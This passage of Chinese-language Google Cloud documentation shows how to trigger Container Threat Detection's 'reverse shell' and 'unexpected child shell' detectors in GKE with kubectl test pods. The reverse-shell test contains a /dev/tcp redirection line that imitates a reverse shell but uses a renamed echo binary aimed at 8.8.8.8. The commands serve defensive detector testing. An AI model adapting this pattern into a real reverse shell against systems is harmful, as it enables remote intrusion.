  3. 使用 /bin/echo 启动二进制文件重定向至 Google 公共 DNS:

    • x86 节点:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • ARM 节点:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

此测试过程会创建一个“反向 Shell”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级激活 Security Command Center 的高级层级或 Enterprise 层级时,才能在 Cloud Logging 中查看发现结果。

意外的 Shell Shell

如需测试 Unexpected Child Shell 检测器,您可以创建一个包含子 shell 进程的进程树。

以下示例会创建一个可由 Unexpected Child Shell 检测器检测的 consul->dash 进程树。此测试安全,因为它仅使用内置二进制文件。此示例会执行以下操作:

  1. 创建 sh 进程的副本并将其命名为 consul
  2. 复制 echo 进程并将其命名为 dash
  3. 在复制的 consul 进程中调用复制的 dash 进程。

如需触发 Unexpected Child Shell 发现结果,请执行以下操作:

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用模拟 consul 进程调用模拟 shell:

    • x86 节点:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • ARM 节点:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

此测试过程会创建一个 Unexpected Child Shell 发现结果,您可以在 Security Command Center 中查看该发现结果。如果您为 Container Threat Detection 配置了 Logging,并且已在组织级激活了 Security Command Center 高级或 Enterprise 层级,则也可以在 Cloud Logging 中查看发现结果。

后续步骤